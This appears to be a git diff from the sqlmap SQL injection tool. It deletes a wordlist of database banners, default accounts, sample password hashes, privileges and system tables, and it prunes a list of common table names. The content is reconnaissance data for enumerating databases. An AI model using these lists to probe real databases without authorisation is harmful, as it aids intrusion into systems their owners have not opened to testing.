100644 index 60bdf5edb26..00000000000 --- a/data/txt/common-outputs.txt +++ /dev/null @@ -1,1195 +0,0 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -[Banners] - -# MySQL -3.22. -3.23. -4.0. -4.1. -5.0. -5.1. -5.5. -5.6. -5.7. -6.0. -8.0. - -# PostgreSQL -PostgreSQL 7.0 -PostgreSQL 7.1 -PostgreSQL 7.2 -PostgreSQL 7.3 -PostgreSQL 7.4 -PostgreSQL 8.0 -PostgreSQL 8.1 -PostgreSQL 8.2 -PostgreSQL 8.3 -PostgreSQL 8.4 -PostgreSQL 8.5 -PostgreSQL 9.0 -PostgreSQL 9.1 -PostgreSQL 9.2 -PostgreSQL 9.3 -PostgreSQL 9.4 -PostgreSQL 9.5 -PostgreSQL 9.6 -PostgreSQL 10. -PostgreSQL 11. -PostgreSQL 12. -PostgreSQL 13. - -# Oracle -Oracle Database 9i Standard Edition Release -Oracle Database 9i Standard Edition Release 9. -Oracle Database 9i Express Edition Release -Oracle Database 9i Express Edition Release 9. -Oracle Database 9i Enterprise Edition Release -Oracle Database 9i Enterprise Edition Release 9. -Oracle Database 10g Standard Edition Release -Oracle Database 10g Standard Edition Release 10. -Oracle Database 10g Express Edition Release -Oracle Database 10g Enterprise Edition Release -Oracle Database 10g Enterprise Edition Release 10. -Oracle Database 11g Standard Edition Release -Oracle Database 11g Standard Edition Release 11. -Oracle Database 11g Express Edition Release -Oracle Database 11g Express Edition Release 11. -Oracle Database 11g Enterprise Edition Release -Oracle Database 11g Enterprise Edition Release 11. -Oracle Database 12c - -# Microsoft SQL Server -Microsoft SQL Server 7.0 -Microsoft SQL Server 2000 -Microsoft SQL Server 2005 -Microsoft SQL Server 2008 -Microsoft SQL Server 2012 -Microsoft SQL Server 2014 -Microsoft SQL Server 2016 -Microsoft SQL Server 2017 -Microsoft SQL Server 2019 - - -[Users] - -# MySQL >= 5.0 -'debian-sys-maint'@'localhost' -'root'@'%' -'root'@'localhost' - -# MySQL < 5.0 -debian-sys-maint -root - -# PostgreSQL -postgres - -# Oracle -ANONYMOUS -CTXSYS -DBSNMP -DIP -DMSYS -EXFSYS -MDDATA -MDSYS -MGMT_VIEW -OLAPSYS -ORDPLUGINS -ORDSYS -OUTLN -SCOTT -SI_INFORMTN_SCHEMA -SYS -SYSMAN -SYSTEM -TSMSYS -WMSYS -XDB - -# Microsoft SQL Server -sa - - -[Passwords] - -# MySQL -*00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass - -# PostgreSQL -md599e5ea7a6f7c3269995cba3927fd0093 # testpass - -# Oracle -2D5A0C491B634F1B # testpass - -# Microsoft SQL Server -0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass - - -[Privileges] - -# MySQL >= 5.0 -ALTER -ALTER ROUTINE -CREATE -CREATE ROUTINE -CREATE TEMPORARY TABLES -CREATE USER -CREATE VIEW -DELETE -DROP -EVENT -EXECUTE -FILE -INDEX -INSERT -LOCK TABLES -PROCESS -REFERENCES -RELOAD -REPLICATION CLIENT -REPLICATION SLAVE -SELECT -SHOW DATABASES -SHOW VIEW -SHUTDOWN -SUPER -TRIGGER -UPDATE -USAGE - -# MySQL < 5.0 -select_priv -insert_priv -update_priv -delete_priv -create_priv -drop_priv -reload_priv -shutdown_priv -process_priv -file_priv -grant_priv -references_priv -index_priv -alter_priv -show_db_priv -super_priv -create_tmp_table_priv -lock_tables_priv -execute_priv -repl_slave_priv -repl_client_priv -create_view_priv -show_view_priv -create_routine_priv -alter_routine_priv -create_user_priv - -# PostgreSQL -catupd -createdb -super - -# Oracle -ADMINISTER ANY SQL TUNING SET -ADMINISTER DATABASE TRIGGER -ADMINISTER RESOURCE MANAGER -ADMINISTER SQL TUNING SET -ADVISOR -ALTER ANY CLUSTER -ALTER ANY DIMENSION -ALTER ANY EVALUATION CONTEXT -ALTER ANY INDEX -ALTER ANY INDEXTYPE -ALTER ANY LIBRARY -ALTER ANY MATERIALIZED VIEW -ALTER ANY OUTLINE -ALTER ANY PROCEDURE -ALTER ANY ROLE -ALTER ANY RULE -ALTER ANY RULE SET -ALTER ANY SEQUENCE -ALTER ANY SQL PROFILE -ALTER ANY TABLE -ALTER ANY TRIGGER -ALTER ANY TYPE -ALTER DATABASE -ALTER PROFILE -ALTER RESOURCE COST -ALTER ROLLBACK SEGMENT -ALTER SESSION -ALTER SYSTEM -ALTER TABLESPACE -ALTER USER -ANALYZE ANY -ANALYZE ANY DICTIONARY -AUDIT ANY -AUDIT SYSTEM -BACKUP ANY TABLE -BECOME USER -CHANGE NOTIFICATION -COMMENT ANY TABLE -CREATE ANY CLUSTER -CREATE ANY CONTEXT -CREATE ANY DIMENSION -CREATE ANY DIRECTORY -CREATE ANY EVALUATION CONTEXT -CREATE ANY INDEX -CREATE ANY INDEXTYPE -CREATE ANY JOB -CREATE ANY LIBRARY -CREATE ANY MATERIALIZED VIEW -CREATE ANY OPERATOR -CREATE ANY OUTLINE -CREATE ANY PROCEDURE -CREATE ANY RULE -CREATE ANY RULE SET -CREATE ANY SEQUENCE -CREATE ANY SQL PROFILE -CREATE ANY SYNONYM -CREATE ANY TABLE -CREATE ANY TRIGGER -CREATE ANY TYPE -CREATE ANY VIEW -CREATE CLUSTER -CREATE DATABASE LINK -CREATE DIMENSION -CREATE EVALUATION CONTEXT -CREATE EXTERNAL JOB -CREATE INDEXTYPE -CREATE JOB -CREATE LIBRARY -CREATE MATERIALIZED VIEW -CREATE OPERATOR -CREATE PROCEDURE -CREATE PROFILE -CREATE PUBLIC DATABASE LINK -CREATE PUBLIC SYNONYM -CREATE ROLE -CREATE ROLLBACK SEGMENT -CREATE RULE -CREATE RULE SET -CREATE SEQUENCE -CREATE SESSION -CREATE SYNONYM -CREATE TABLE -CREATE TABLESPACE -CREATE TRIGGER -CREATE TYPE -CREATE USER -CREATE VIEW -DEBUG ANY PROCEDURE -DEBUG CONNECT SESSION -DELETE ANY TABLE -DEQUEUE ANY QUEUE -DROP ANY CLUSTER -DROP ANY CONTEXT -DROP ANY DIMENSION -DROP ANY DIRECTORY -DROP ANY EVALUATION CONTEXT -DROP ANY INDEX -DROP ANY INDEXTYPE -DROP ANY LIBRARY -DROP ANY MATERIALIZED VIEW -DROP ANY OPERATOR -DROP ANY OUTLINE -DROP ANY PROCEDURE -DROP ANY ROLE -DROP ANY RULE -DROP ANY RULE SET -DROP ANY SEQUENCE -DROP ANY SQL PROFILE -DROP ANY SYNONYM -DROP ANY TABLE -DROP ANY TRIGGER -DROP ANY TYPE -DROP ANY VIEW -DROP PROFILE -DROP PUBLIC DATABASE LINK -DROP PUBLIC SYNONYM -DROP ROLLBACK SEGMENT -DROP TABLESPACE -DROP USER -ENQUEUE ANY QUEUE -EXECUTE ANY CLASS -EXECUTE ANY EVALUATION CONTEXT -EXECUTE ANY INDEXTYPE -EXECUTE ANY LIBRARY -EXECUTE ANY OPERATOR -EXECUTE ANY PROCEDURE -EXECUTE ANY PROGRAM -EXECUTE ANY RULE -EXECUTE ANY RULE SET -EXECUTE ANY TYPE -EXPORT FULL DATABASE -FLASHBACK ANY TABLE -FORCE ANY TRANSACTION -FORCE TRANSACTION -GLOBAL QUERY REWRITE -GRANT ANY OBJECT PRIVILEGE -GRANT ANY PRIVILEGE -GRANT ANY ROLE -IMPORT FULL DATABASE -INSERT ANY TABLE -LOCK ANY TABLE -MANAGE ANY FILE GROUP -MANAGE ANY QUEUE -MANAGE FILE GROUP -MANAGE SCHEDULER -MANAGE TABLESPACE -MERGE ANY VIEW -ON COMMIT REFRESH -QUERY REWRITE -READ ANY FILE GROUP -RESTRICTED SESSION -RESUMABLE -SELECT ANY DICTIONARY -SELECT ANY SEQUENCE -SELECT ANY TABLE -SELECT ANY TRANSACTION -UNDER ANY TABLE -UNDER ANY TYPE -UNDER ANY VIEW -UNLIMITED TABLESPACE -UPDATE ANY TABLE - - -[Roles] - -# Oracle -AQ_ADMINISTRATOR_ROLE -AQ_USER_ROLE -AUTHENTICATEDUSER -CONNECT -CTXAPP -DBA -DELETE_CATALOG_ROLE -EJBCLIENT -EXECUTE_CATALOG_ROLE -EXP_FULL_DATABASE -GATHER_SYSTEM_STATISTICS -HS_ADMIN_ROLE -IMP_FULL_DATABASE -JAVA_ADMIN -JAVADEBUGPRIV -JAVA_DEPLOY -JAVAIDPRIV -JAVASYSPRIV -JAVAUSERPRIV -LOGSTDBY_ADMINISTRATOR -MGMT_USER -OEM_ADVISOR -OEM_MONITOR -OLAP_DBA -OLAP_USER -RECOVERY_CATALOG_OWNER -RESOURCE -SCHEDULER_ADMIN -SELECT_CATALOG_ROLE -TABLE_ACCESSERS -WM_ADMIN_ROLE -XDBADMIN -XDBWEBSERVICES - - -[Databases] - -# MySQL -information_schema -mysql -phpmyadmin - -# PostgreSQL -pg_catalog -postgres -public -template0 -template1 - -# Microsoft SQL Server -AdventureWorks -AdventureWorksDW -master -model -msdb -ReportServer -ReportServerTempDB -tempdb - - -[Tables] - -# MySQL >= 5.0 -CHARACTER_SETS -COLLATION_CHARACTER_SET_APPLICABILITY -COLLATIONS -COLUMN_PRIVILEGES -COLUMNS -ENGINES -EVENTS -FILES -GLOBAL_STATUS -GLOBAL_VARIABLES -KEY_COLUMN_USAGE -PARTITIONS -PLUGINS -PROCESSLIST -PROFILING -REFERENTIAL_CONSTRAINTS -ROUTINES -SCHEMA_PRIVILEGES -SCHEMATA -SESSION_STATUS -SESSION_VARIABLES -STATISTICS -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -TRIGGERS -USER_PRIVILEGES -VIEWS - -# MySQL -columns_priv -db -event -func -general_log -help_category -help_keyword -help_relation -help_topic -host -ndb_binlog_index -plugin -proc -procs_priv -servers -slow_log -tables_priv -time_zone -time_zone_leap_second -time_zone_name -time_zone_transition -time_zone_transition_type -user - -# phpMyAdmin -pma_bookmark -pma_column_info -pma_designer_coords -pma_history -pma_pdf_pages -pma_relation -pma_table_coords -pma_table_info - -# PostgreSQL -pg_aggregate -pg_am -pg_amop -pg_amproc -pg_attrdef -pg_attribute -pg_authid -pg_auth_members -pg_cast -pg_class -pg_constraint -pg_conversion -pg_database -pg_depend -pg_description -pg_enum -pg_foreign_data_wrapper -pg_foreign_server -pg_index -pg_inherits -pg_language -pg_largeobject -pg_listener -pg_namespace -pg_opclass -pg_operator -pg_opfamily -pg_pltemplate -pg_proc -pg_rewrite -pg_shdepend -pg_shdescription -pg_statistic -pg_tablespace -pg_trigger -pg_ts_config -pg_ts_config_map -pg_ts_dict -pg_ts_parser -pg_ts_template -pg_type -pg_user_mapping -sql_features -sql_implementation_info -sql_languages -sql_packages -sql_parts -sql_sizing -sql_sizing_profiles - -# Oracle (demo database) -BONUS -DEPT -EMP -SALGRADE -USERS - -# Microsoft SQL Server -## Database: AdventureWorksDW -AdventureWorksDWBuildVersion -DatabaseLog -DimAccount -DimCurrency -DimCustomer -DimDepartmentGroup -DimEmployee -DimGeography -DimOrganization -DimProduct -DimProductCategory -DimProductSubcategory -DimPromotion -DimReseller -DimSalesReason -DimSalesTerritory -DimScenario -DimTime -FactCurrencyRate -FactFinance -FactInternetSales -FactInternetSalesReason -FactResellerSales -FactSalesQuota -ProspectiveBuyer -vAssocSeqLineItems -vAssocSeqOrders -vDMPrep -vTargetMail -vTimeSeries - -## Database: master -all_columns -all_objects -all_parameters -all_sql_modules -all_views -allocation_units -assemblies -assembly_files -assembly_modules -assembly_references -assembly_types -asymmetric_keys -backup_devices -certificates -CHECK_CONSTRAINTS -check_constraints -COLUMN_DOMAIN_USAGE -COLUMN_PRIVILEGES -column_type_usages -column_xml_schema_collection_usages -columns -COLUMNS -computed_columns -configurations -CONSTRAINT_COLUMN_USAGE -CONSTRAINT_TABLE_USAGE -conversation_endpoints -conversation_groups -credentials -crypt_properties -data_spaces -database_files -database_mirroring -database_mirroring_endpoints -database_mirroring_witnesses -database_permissions -database_principal_aliases -database_principals -database_recovery_status -database_role_members -databases -default_constraints -destination_data_spaces -dm_broker_activated_tasks -dm_broker_connections -dm_broker_forwarded_messages -dm_broker_queue_monitors -dm_clr_appdomains -dm_clr_loaded_assemblies -dm_clr_properties -dm_clr_tasks -dm_db_file_space_usage -dm_db_index_usage_stats -dm_db_mirroring_connections -dm_db_missing_index_details -dm_db_missing_index_group_stats -dm_db_missing_index_groups -dm_db_partition_stats -dm_db_session_space_usage -dm_db_task_space_usage -dm_exec_background_job_queue -dm_exec_background_job_queue_stats -dm_exec_cached_plans -dm_exec_connections -dm_exec_query_optimizer_info -dm_exec_query_stats -dm_exec_query_transformation_stats -dm_exec_requests -dm_exec_sessions -dm_fts_active_catalogs -dm_fts_index_population -dm_fts_memory_buffers -dm_fts_memory_pools -dm_fts_population_ranges -dm_io_backup_tapes -dm_io_cluster_shared_drives -dm_io_pending_io_requests -dm_os_buffer_descriptors -dm_os_child_instances -dm_os_cluster_nodes -dm_os_hosts -dm_os_latch_stats -dm_os_loaded_modules -dm_os_memory_allocations -dm_os_memory_cache_clock_hands -dm_os_memory_cache_counters -dm_os_memory_cache_entries -dm_os_memory_cache_hash_tables -dm_os_memory_clerks -dm_os_memory_objects -dm_os_memory_pools -dm_os_performance_counters -dm_os_ring_buffers -dm_os_schedulers -dm_os_stacks -dm_os_sublatches -dm_os_sys_info -dm_os_tasks -dm_os_threads -dm_os_virtual_address_dump -dm_os_wait_stats -dm_os_waiting_tasks -dm_os_worker_local_storage -dm_os_workers -dm_qn_subscriptions -dm_repl_articles -dm_repl_schemas -dm_repl_tranhash -dm_repl_traninfo -dm_tran_active_snapshot_database_transactions -dm_tran_active_transactions -dm_tran_current_snapshot -dm_tran_current_transaction -dm_tran_database_transactions -dm_tran_locks -dm_tran_session_transactions -dm_tran_top_version_generators -dm_tran_transactions_snapshot -dm_tran_version_store -DOMAIN_CONSTRAINTS -DOMAINS -endpoint_webmethods -endpoints -event_notification_event_types -event_notifications -events -extended_procedures -extended_properties -filegroups -foreign_key_columns -foreign_keys -fulltext_catalogs -fulltext_document_types -fulltext_index_catalog_usages -fulltext_index_columns -fulltext_indexes -fulltext_languages -http_endpoints -identity_columns -index_columns -indexes -internal_tables -KEY_COLUMN_USAGE -key_constraints -key_encryptions -linked_logins -login_token -master_files -master_key_passwords -message_type_xml_schema_collection_usages -messages -module_assembly_usages -MSreplication_options -numbered_procedure_parameters -numbered_procedures -objects -openkeys -parameter_type_usages -parameter_xml_schema_collection_usages -parameters -PARAMETERS -partition_functions -partition_parameters -partition_range_values -partition_schemes -partitions -plan_guides -procedures -REFERENTIAL_CONSTRAINTS -remote_logins -remote_service_bindings -routes -ROUTINE_COLUMNS -ROUTINES -schemas -SCHEMATA -securable_classes -server_assembly_modules -server_event_notifications -server_events -server_permissions -server_principals -server_role_members -server_sql_modules -server_trigger_events -server_triggers -servers -service_broker_endpoints -service_contract_message_usages -service_contract_usages -service_contracts -service_message_types -service_queue_usages -service_queues -services -soap_endpoints -spt_fallback_db -spt_fallback_dev -spt_fallback_usg -spt_monitor -spt_values -sql_dependencies -sql_logins -sql_modules -stats -stats_columns -symmetric_keys -synonyms -sysaltfiles -syscacheobjects -syscharsets -syscolumns -syscomments -sysconfigures -sysconstraints -syscurconfigs -syscursorcolumns -syscursorrefs -syscursors -syscursortables -sysdatabases -sysdepends -sysdevices -sysfilegroups -sysfiles -sysforeignkeys -sysfulltextcatalogs -sysindexes -sysindexkeys -syslanguages -syslockinfo -syslogins -sysmembers -sysmessages -sysobjects -sysoledbusers -sysopentapes -sysperfinfo -syspermissions -sysprocesses -sysprotects -sysreferences -sysremotelogins -syssegments -sysservers -system_columns -system_components_surface_area_configuration -system_internals_allocation_units -system_internals_partition_columns -system_internals_partitions -system_objects -system_parameters -system_sql_modules -system_views -systypes -sysusers -TABLE_CONSTRAINTS -TABLE_PRIVILEGES -TABLES -tables -tcp_endpoints -trace_categories -trace_columns -trace_event_bindings -trace_events -trace_subclass_values -traces -transmission_queue -trigger_events -triggers -type_assembly_usages -types -user_token -via_endpoints -VIEW_COLUMN_USAGE -VIEW_TABLE_USAGE -views -VIEWS -xml_indexes -xml_schema_attributes -xml_schema_collections -xml_schema_component_placements -xml_schema_components -xml_schema_elements -xml_schema_facets -xml_schema_model_groups -xml_schema_namespaces -xml_schema_types -xml_schema_wildcard_namespaces -xml_schema_wildcards - -## Database: msdb -backupfile -backupfilegroup -backupmediafamily -backupmediaset -backupset -log_shipping_monitor_alert -log_shipping_monitor_error_detail -log_shipping_monitor_history_detail -log_shipping_monitor_primary -log_shipping_monitor_secondary -log_shipping_primaries -log_shipping_primary_databases -log_shipping_primary_secondaries -log_shipping_secondaries -log_shipping_secondary -log_shipping_secondary_databases -logmarkhistory -MSdatatype_mappings -MSdbms -MSdbms_datatype -MSdbms_datatype_mapping -MSdbms_map -restorefile -restorefilegroup -restorehistory -sqlagent_info -suspect_pages -sysalerts -syscachedcredentials -syscategories -sysdatatypemappings -sysdbmaintplan_databases -sysdbmaintplan_history -sysdbmaintplan_jobs -sysdbmaintplans -sysdownloadlist -sysdtscategories -sysdtslog90 -sysdtspackagefolders90 -sysdtspackagelog -sysdtspackages -sysdtspackages90 -sysdtssteplog -sysdtstasklog -sysjobactivity -sysjobhistory -sysjobs -sysjobs_view -sysjobschedules -sysjobservers -sysjobsteps -sysjobstepslogs -sysmail_account -sysmail_allitems -sysmail_attachments -sysmail_attachments_transfer -sysmail_configuration -sysmail_event_log -sysmail_faileditems -sysmail_log -sysmail_mailattachments -sysmail_mailitems -sysmail_principalprofile -sysmail_profile -sysmail_profileaccount -sysmail_query_transfer -sysmail_send_retries -sysmail_sentitems -sysmail_server -sysmail_servertype -sysmail_unsentitems -sysmaintplan_log -sysmaintplan_logdetail -sysmaintplan_plans -sysmaintplan_subplans -sysnotifications -sysoperators -sysoriginatingservers -sysoriginatingservers_view -sysproxies -sysproxylogin -sysproxyloginsubsystem_view -sysproxysubsystem -sysschedules -sysschedules_localserver_view -syssessions -syssubsystems -systargetservergroupmembers -systargetservergroups -systargetservers -systargetservers_view -systaskids - -## Database: AdventureWorks -Address -AddressType -AWBuildVersion -BillOfMaterials -Contact -ContactCreditCard -ContactType -CountryRegion -CountryRegionCurrency -CreditCard -Culture -Currency -CurrencyRate -Customer -CustomerAddress -DatabaseLog -Department -Document -Employee -EmployeeAddress -EmployeeDepartmentHistory -EmployeePayHistory -ErrorLog -Illustration -Individual -JobCandidate -Location -Product -ProductCategory -ProductCostHistory -ProductDescription -ProductDocument -ProductInventory -ProductListPriceHistory -ProductModel -ProductModelIllustration -ProductModelProductDescriptionCulture -ProductPhoto -ProductProductPhoto -ProductReview -ProductSubcategory -ProductVendor -PurchaseOrderDetail -PurchaseOrderHeader -SalesOrderDetail -SalesOrderHeader -SalesOrderHeaderSalesReason -SalesPerson -SalesPersonQuotaHistory -SalesReason -SalesTaxRate -SalesTerritory -SalesTerritoryHistory -ScrapReason -Shift -ShipMethod -ShoppingCartItem -SpecialOffer -SpecialOfferProduct -StateProvince -Store -StoreContact -TransactionHistory -TransactionHistoryArchive -UnitMeasure -vAdditionalContactInfo -vEmployee -vEmployeeDepartment -vEmployeeDepartmentHistory -Vendor -VendorAddress -VendorContact -vIndividualCustomer -vIndividualDemographics -vJobCandidate -vJobCandidateEducation -vJobCandidateEmployment -vProductAndDescription -vProductModelCatalogDescription -vProductModelInstructions -vSalesPerson -vSalesPersonSalesByFiscalYears -vStateProvinceCountryRegion -vStoreWithDemographics -vVendor -WorkOrder -WorkOrderRouting - - -[Columns] - -# MySQL -## Table: mysql.user -Alter_priv -Alter_routine_priv -Create_priv -Create_routine_priv -Create_tmp_table_priv -Create_user_priv -Create_view_priv -Delete_priv -Drop_priv -Event_priv -Execute_priv -File_priv -Grant_priv -Host -Index_priv -Insert_priv -Lock_tables_priv -max_connections -max_questions -max_updates -max_user_connections -Password -Process_priv -References_priv -Reload_priv -Repl_client_priv -Repl_slave_priv -Select_priv -Show_db_priv -Show_view_priv -Shutdown_priv -ssl_cipher -ssl_type -Super_priv -Trigger_priv -Update_priv -User -x509_issuer -x509_subject - -# Oracle (types) -BINARY_INTEGER -BLOB -BOOLEAN -CHAR -CLOB -DATE -INTERVAL -LONG -MLSLABEL -NCHAR -NCLOB -NUMBER -NVARCHAR2 -RAW -ROWID -TIMESTAMP -VARCHAR -VARCHAR2 -XMLType - -# MySQL (types) -bigint -blob -char -date -datetime -decimal -double -enum -float -int -set -smallint -text -time -tinyint -varchar -year - -# Microsoft SQL Server (types) -bigint -binary -bit -char -cursor -date -datetime -datetime2 -datetimeoffset -decimal -float -image -int -money -nchar -ntext -numeric -nvarchar -real -smalldatetime -smallint -smallmoney -sql_variant -table -text -time -timestamp -tinyint -uniqueidentifier -varbinary -varchar -xml - -# PostgreSQL (types) -bigint -bigserial -boolean -bpchar -bytea -character -date -decimal -double precision -int4 -integer -interval -money -numeric -real -serial -smallint -text -time -timestamp diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 8776e2e8864..855593c6af3 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission users @@ -218,32 +218,23 @@ delivery_quality queries identification friends -vcd_Screenshots PERSON course_section -vcd_PornCategories -pma_history jiveRemoteServerConf channels object chip_layout -osc_products_options_values_to_products_options login user_newtalk -vcd_MetaDataTypes entrants Device imageInfo developers -div_experiment items_template defaults osc_products -vcd_MetaData mucRoomProp -QRTZ_JOB_DETAILS settings -pma_bookmark DEPENDENT imageCategoryList islandIn @@ -254,7 +245,6 @@ wp_posts package mucRoom vendortax -vcd_Comments attrs config_seq company @@ -262,18 +252,13 @@ register checksum_results ENROLLMENT operation -primarytest -vcd_CoverTypes binaries COURSE_SECTION Students func enrollment -pma_table_coords readers action_element -vcd_VcdToPornstars -osc_categories_description friend_statuses Domain servers @@ -284,33 +269,26 @@ resources mixins sys_options_cats licenses -pma_relation SIGNON clients Apply -vcd_CoversAllowedOnMediatypes ThumbnailKeyword form_definition_text -vcd_Log system jiveOffline tickers BANNERDATA mucAffiliation -fk_test_has_pk rooms objectcache collection_item_count -div_stock_parent jiveRoster Volume lookup investigator math jivePrivate -vcd_UserWishList osc_manufacturers_info -primarytest2 PROFILE categories_posts Flight @@ -322,64 +300,44 @@ client cv_country_synonyms osc_categories interwiki -logtest archive members_networks -vcd_MovieCategories language_text UserType friend -div_annotation_type osc_products_description osc_products_to_categories -QRTZ_PAUSED_TRIGGER_GRPS article recentchanges -vcd_UserLoans media -vcd_SourceSites conducts sales CurrentUsers Country -vcd_IMDB -vcd_Borrowers querycache Publication Pilot -div_stock Regions DEPT_LOCATIONS -vcd_Users master_table -vcd_VcdToUsers funny_jokes jos_vm_payment_method -vcd_UserProperties osc_products_images specialty -pma_pdf_pages visits -div_allele_assay -vcd_MediaTypes ipblocks WidgetPrices -form_definition_version_text experiment Publisher control protocol_action jivePrivacyList -vcd_VcdToPornStudios subImageInfo plugin_sid message_statuses state GalleryThumb hitcounter -vcd_Pornstars -QRTZ_BLOB_TRIGGERS -div_generation jiveGroupProp ingredients community_item_count @@ -387,13 +345,9 @@ jiveExtComponentConf SEQUENCE Continent rights -div_statistic_type Path osc_manufacturers logging -colnametests -QRTZ_FIRED_TRIGGERS -div_locality sailors Description warehouse @@ -406,36 +360,26 @@ CUSTOMERS jiveProperty app_user keyboards -div_unit_of_measure categorylinks grants Action -div_trait -div_trait_uom WidgetReferences product_type developers_projects userAttribute -vcd_Sessions form_data_archive -vcd_PornStudios action_attribute Thumbnail jiveGroupUser computers -QRTZ_LOCKS -vcd_PropertiesToUser customertax sector networks columns_priv globals -div_obs_unit_sample Widgets TERM salgrade -div_passport -vcd_UserRoles mucMember imagelinks exchange @@ -443,18 +387,14 @@ Status WORKS_ON lines testusers -booleantests -QRTZ_SIMPLE_TRIGGERS mobile_menu staff -vcd_VcdToPornCategories tblusers hashes partner Product personnel ads -vcd_Covers osc_specials Keyword supplier @@ -462,61 +402,45 @@ agent_specialty pokes profile_pictures oldimage -div_poly_type -osc_products_attributes_download -div_allele isMember -vcd_Images userImageRating detail_table osc_products_attributes -pma_table_info officer -div_obs_unit -vcd_Settings COURSE Time locatedOn medicalprocedure -fk_test_has_fk mergesWith author UserFieldsInfo Employee oe -QRTZ_TRIGGERS insurance SUPPLIER -div_aa_annotation song imageAttribute views_track extremes -vcd_VcdToSources jiveRosterGroups webcal_config phpbb_ranks triggers_template appVersions -vcd_RssFeeds DUMMY ROLE activity study_text osc_products_options City -QRTZ_SCHEDULER_STATE osc_reviews edge questions partof blobs -QRTZ_CRON_TRIGGERS tag userSession vcd -pma_column_info -auto_id_tests job site_stats mucConversationLog @@ -524,16 +448,12 @@ sequence madewith OperationStatus SPJ -turizmi_ge zutat_cocktail -DWE_Internal_WF_Attributes zipcodes insertids ChemList product_category -foreigntest2 hero -cmContentVersionDigitalAsset reports devel_logsql f_sequence @@ -542,7 +462,6 @@ ClassificationScheme ez_webstats_conf credential utilise -cmDigitalAsset ACL_table service_request_log feedback @@ -569,29 +488,21 @@ dtb_order files_config PropColumnMap result -pma_designer_coords triggers audittrail -f_attributedependencies -organization_type_package_map -DWE_Corr_Sets userlist backgroundJob_table sf_guard_user_permission my_lake -DWE_Corr_Tokens sampleData -qrtz_blob_triggers reciprocal_partnersites rss_categories ADMIN -site_map_ge Factory_Output geo_Estuary phpbb_themes forum ClientsTable -mushroom_trainset rating_track iplinks maxcodevento @@ -602,7 +513,6 @@ cmLanguage phpbb_points_config guava_sysmodules querycachetwo -soc_da_polit_ge BOOK_AUTHORS records reciprocal_config @@ -631,7 +541,6 @@ expression Simple_Response photoo photos -child_config_traffic_selector version_data allocation dtb_category_total_count @@ -647,7 +556,6 @@ webcal_view pagecontent Collection maxcodcurso -self_government_ge phpbb_user_group InstanceStringTable bldg_types @@ -656,10 +564,8 @@ mailaddresses section m_type configlist -cmRepositoryContentTypeDefinition trade Parameter -jforum_privmsgs tbl_works_categories help_category bkp_String @@ -674,11 +580,9 @@ vendor_seq guava_theme_modules dtb_pagelayout bookings -cmPublicationDetail writes writer distance -DWE_Resource_Attributes jforum_groups Polynomial river @@ -699,23 +603,14 @@ SchemaInfo WidgetDescriptions dtb_category_count sidebar -R1Weights -humanitaruli_ge -cmTransactionHistory facets jforum_roles -samedicino_ge -qrtz_job_listeners geo_Lake religion nuke_gallery_media_class cia DatabaseInfo -R2TF THOT_THEME -R1Length -cmContentRelation -S2ODTMAP enrolled liste_domaines DEMO_PROJECTS @@ -738,7 +633,6 @@ UM_ROLE_ATTRIBUTES SCALE maclinks books -DWE_Predecessors interactions graphs_items stars @@ -757,7 +651,6 @@ email CustomerCards mtb_zip Campus -R1Size hardware dtb_other_deliv pricegroup @@ -771,15 +664,10 @@ colour command audio egresado -aggtest transport -zusti_da_sabuneb_ge -div_scoring_tech_type -R2Weights schedule routers zips -DWE_Delay_Timers Descriptions software wh_der_children @@ -806,7 +694,6 @@ cmSiteNode nodes sbreciprocal_cats rss_read -DWE_Workflow_Documents bombing tblblogtrackbacks fragment @@ -823,7 +710,6 @@ dtb_kiyaku EmailAddress Sea powers -QRTZ_CALENDARS reserve LINEITEM project_user_xref @@ -835,7 +721,6 @@ user_rights tf_messages Class_Def_Table geo_lake -copytest tissue ligneDeFacture PZ_Data @@ -845,7 +730,6 @@ cmts photo dtb_bloc user_preferences -music_ge D_Abbreviation data_set_association site_location @@ -860,7 +744,6 @@ evidence files test intUsers -div_treatment tblblogentries cocktail_person cdv_curated_allele @@ -871,18 +754,15 @@ MetadataValue curso redirect accountuser -qrtz_cron_triggers StateType forum_user_stat Descriptions_Languages m_users_profile Booked_On -not_null_with_default_test tblblogroles organizations topic economy -DWE_Org_Resources Model maxcodcorreo RATING @@ -900,7 +780,6 @@ dtb_send_customer cart size pg_ts_cfgmap -LimitTest2 QUESTION DC_Data webcal_group_user @@ -913,7 +792,6 @@ document m_users_acct vendor_types fruit -DWE_Resources Service PART cell_line @@ -930,21 +808,17 @@ statuses webcal_user customurl THOT_YEAR -DWE_Subscriptions correo -kultura_ge Factory_Master inv_lines_seq certificates webcal_asst ostypes POINT_SET -R2IDF forum_flag bugs taxonomy UM_ROLES -div_synonym payer tf_log job_title @@ -953,7 +827,6 @@ wp_options forum_user_activity trackbacks wp_pod_fields -cmAvailableServiceBindingSiteNodeTypeDefinition translation cdv_passport_group User_ @@ -963,31 +836,24 @@ my_county zoph_people account_permissions ORDERLINES -ganatlebe_ge wp_term_relationships pictures product_font Departure -mushroom_test_results routerbenchmarks bkp_Item Channel_Data realtable -mushroom_NBC_class odetails user_type_link -eco_da_biz_ge belong ezin_users time_zone_transition ew_tabelle ezsearch_return_count_new -cmSystemUserRole m_users -div_accession_collecting Economy tbl_works_clients -qrtz_locks geo_Mountain dtb_category tmp @@ -996,10 +862,7 @@ geo_Desert dtb_payment forum_topic ezsearch_search_phrase_new -jforum_attach -sazog_urtiertoba_ge Equipment -iuridiuli_ge MetadataSchemaRegistry basePlusCommissionEmployees addresses @@ -1030,7 +893,6 @@ SpecificationLink videos sf_guard_remember_key employer -monitoringi_ge leases phpbb_smilies stats @@ -1041,32 +903,25 @@ line_items_seq ndb_binlog_index zoph_categories help_topic -div_treatment_uom transaction wp_links -DWE_Organizations -live_ge cdv_allele_curated_allele timeperiod item_master_seq GLI_profiles cv_countries -qrtz_scheduler_state journal tf_users mwuser stories dtb_table_comment -jforum_quota_limit Lake SQLDATES phpbb_search_wordmatch friend2 functions comboboxes 